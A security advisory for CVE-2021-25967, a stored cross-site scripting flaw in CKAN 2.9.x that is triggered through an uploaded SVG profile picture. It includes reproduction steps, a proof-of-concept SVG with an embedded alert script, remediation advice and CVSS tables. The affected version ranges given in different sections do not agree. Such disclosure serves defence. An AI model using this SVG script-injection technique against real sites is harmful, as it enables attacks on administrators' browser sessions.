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CVE-2021-25967
Date: December 1, 2021
Overview
In CKAN, versions 2.9.0 to 2.9.3 are affected by a stored XSS vulnerability via SVG file upload of users’ profile picture. This allows low privileged application users to store malicious scripts in their profile picture. These scripts are executed in a victim’s browser when they open the malicious profile pictureDetails
The “CKAN” application is affected by a stored XSS vulnerability via SVG file upload of users’ profile picture that allows low privileged application users to store malicious scripts in their profile picture. These scripts are executed in a victim’s browser when they open the malicious profile picture.PoC Details
Register as a new user in the application (For demonstration purposes, we will call him “Bob”). Fill in all the required fields and upload a malicious svg file, such as given below.Now open the application in a private window and login to the application as an administrator user.
Go to Users, “Bob”, and right click the profile picture. Click on “Open Image in New Tab” and see the malicious payload being triggered.
PoC Code
// Malicious SVG file contents:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
Affected Environments
PyPI: 2.9.0 through 2.9.4; Github: ckan-2.9.0 through ckan-2.9.4Remediation
Our suggestion here is to implement CSP to disallow inline Javascript, or use the “content-disposition: attachment” header which forces the file to get downloaded.Prevention
No fix was provided by the maintainer.Language: Python
Good to know:
| Base Score: |
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|---|---|
| Attack Vector (AV): | Network |
| Attack Complexity (AC): | Low |
| Privileges Required (PR): | Low |
| User Interaction (UI): | Required |
| Scope (S): | Changed |
| Confidentiality (C): | Low |
| Integrity (I): | Low |
| Availability (A): | None |
| Base Score: |
|
|---|---|
| Access Vector (AV): | Network |
| Access Complexity (AC): | Medium |
| Authentication (AU): | Single |
| Confidentiality (C): | None |
| Integrity (I): | Partial |
| Availability (A): | None |
| Additional information: |